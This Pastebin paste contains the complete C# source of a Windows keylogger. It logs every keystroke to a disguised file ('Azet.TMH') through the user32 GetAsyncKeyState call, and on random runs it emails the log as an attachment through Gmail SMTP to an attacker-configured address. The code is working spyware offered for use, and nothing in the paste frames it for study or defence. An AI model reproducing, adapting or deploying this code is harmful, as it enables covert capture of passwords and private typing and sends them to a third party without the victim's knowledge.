Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.IO;
- using System.Net.Mail;
- namespace ConsoleApp3
- {
- internal class Program
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- public static void Main(string[] args)
- {
- Random rand = new Random();
- int randomnumber = rand.Next(1, 10);
- if (randomnumber > 5)
- {
- SendMail();
- }
- Console.WriteLine(randomnumber);
- LogKeys();
- }
- private static void SendMail()
- {
- Thread.Sleep(2000);
- string Newfilepath2 = @".\Data\Mesh\Azet.TMH"; // get Log path
- DateTime dateTime = DateTime.Now; // call date
- string subtext = "Loggedfiles"; // email subject
- subtext += dateTime;
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // GMAIL Port
- MailMessage LOGMESSAGE = new MailMessage();
- LOGMESSAGE.From = new MailAddress("x@gmail.com"); // YOUR EMAIL
- LOGMESSAGE.To.Add("x@gmail.com"); // YOUR EMAIL
- LOGMESSAGE.Subject = subtext; // Subject
- client.UseDefaultCredentials = false; // Call email creds
- client.EnableSsl = true;
- client.Credentials = new System.Net.NetworkCredential("x@gmail.com", "x");
- Console.WriteLine(Newfilepath2);
- string newfile = File.ReadAllText(Newfilepath2); // reads log file
- string attachmenttextfile = @".\Data\Mesh\Azeta.TMH"; // path to find new file!
- File.WriteAllText(attachmenttextfile, newfile);
- LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
- LOGMESSAGE.Body = subtext;
- client.Send(LOGMESSAGE);
- LOGMESSAGE = null;
- Console.WriteLine("Succes SENDED");
- Console.WriteLine(Newfilepath2);
- }
- private static void LogKeys()
- {
- String filepath = @".\Data\Mesh\";
- if (!Directory.Exists(filepath))
- {
- Directory.CreateDirectory(filepath);
- }
- string path = (@filepath + "Azet.TMH");
- if (!File.Exists(path))
- {
- /* using (var xc = File.OpenWrite(path))
- using (var bw = new BinaryWriter(xc))
- {
- bw.Write(new byte[] { 123 });
- bw.Write(123);
- }*/
- using (StreamWriter sw = File.CreateText(path))
- {
- Console.WriteLine("OK");
- }
- }
- KeysConverter converter = new KeysConverter();
- string text = "";
- while (5 > 1)
- {
- Thread.Sleep(5);
- for (Int32 i = 0; i < 2000; i++)
- {
- int key = GetAsyncKeyState(i);
- if (key == 1 || key == -32767)
- {
- text = converter.ConvertToString(i);
- using (StreamWriter sw = File.AppendText(path))
- {
- sw.WriteLine(text);
- }
- break;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement